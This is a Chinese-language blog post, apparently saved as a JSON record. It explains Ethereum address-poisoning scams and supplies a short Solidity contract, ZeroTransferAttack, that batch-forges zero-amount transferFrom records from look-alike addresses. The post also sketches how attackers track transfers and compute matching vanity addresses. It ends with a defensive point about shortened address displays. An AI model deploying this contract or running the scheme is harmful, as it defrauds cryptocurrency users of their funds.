{"author":{"address":"0x1f2479ee1b4aFE789e19D257D2D50810ac90fa59","user":"https://learnblockchain.cn/people/3877"},"content":{"body":"# 写一个 0 转账攻击合约\r\n\r\n## 备注\r\n\r\n时间：2024 年 7 月 7 日\r\n\r\n作者：[33357](https://github.com/33357)\r\n\r\n## 正文\r\n\r\n以太坊上有大量转账 Token 数量为 0 的合约，比如这个 https://etherscan.io/address/0x6c5319df4fcca5961d71e117287c76a1f2aad593 。这些合约伪造了首尾相同的地址向用户地址转账，利用了有些人会在转账之前复制上一个地址的习惯来骗取用户资产。这里我写了一个类似功能的合约。\r\n\r\n## 合约代码\r\n\r\n```javascript\r\n//SPDX-License-Identifier: Unlicense\r\npragma solidity ^0.8.25;\r\n\r\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\r\n\r\ncontract ZeroTransferAttack {\r\n    function bacthTransferFrom(\r\n        address[] memory tokenList,\r\n        address[] memory fromList,\r\n        address[] memory toList\r\n    ) external {\r\n        for (uint256 i; i \u003c tokenList.length; i++) {\r\n            IERC20(tokenList[i]).transferFrom(fromList[i], toList[i], 0);\r\n        }\r\n    }\r\n}\r\n```\r\n\r\n很多人会奇怪，没有经过 `approve` 也能调用 `transferFrom` 吗？\r\n\r\n是的，由于 `ERC20` 合约的 `transferFrom` 方法接受数量为 `0` 的调用，而没有授权的状态就是 `0`。因此没有经过 `approve` 授权也可以调用 `transferFrom` 生成转账记录，这大大降低了进行数量为 0 转账的操作成本。\r\n\r\n```javascript\r\nfunction transferFrom(\r\n    address sender,\r\n    address recipient,\r\n    uint256 amount\r\n) public virtual override returns (bool) {\r\n    _transfer(sender, recipient, amount);\r\n\r\n    uint256 currentAllowance = _allowances[sender][_msgSender()];\r\n    require(\r\n      currentAllowance \u003e= amount,\r\n      \"ERC20: transfer amount exceeds allowance\"\r\n    );\r\n    _approve(sender, _msgSender(), currentAllowance - amount);\r\n\r\n    return true;\r\n}\r\n```\r\n\r\n## 攻击分析\r\n\r\n可以看到合约是很简单的，做数量为 0 转账攻击的门槛不在于此，而在于对链上交易数据的爬取和计算首尾相同地址私钥。这需要完整的链上数据收集和分析，并配上有强大的 hash 计算能力。\r\n\r\n当一个地址发起一笔转账后可以跟踪并迅速计算出首尾相同地址的私钥，调用 `transferFrom` 生成一笔发起人首尾地址相同、目标地址一样、转账时间相近的记录。如果用惯了传统的金融 APP，对复制上一个交易没有警惕性，就很容易会上这种当。\r\n\r\n## 总结\r\n\r\n很多 APP 为了方便用户简化了地址显示，一定程度上也给了骗子可趁之机。市场也许需要一个既方便用户，又具有唯一性的地址显示方式。\r\n\r\n原文发布在 [https://33357.xyz](https://33357.xyz/)","title":"写一个 0 转账攻击合约"},"history":null,"timestamp":1720336452,"version":1}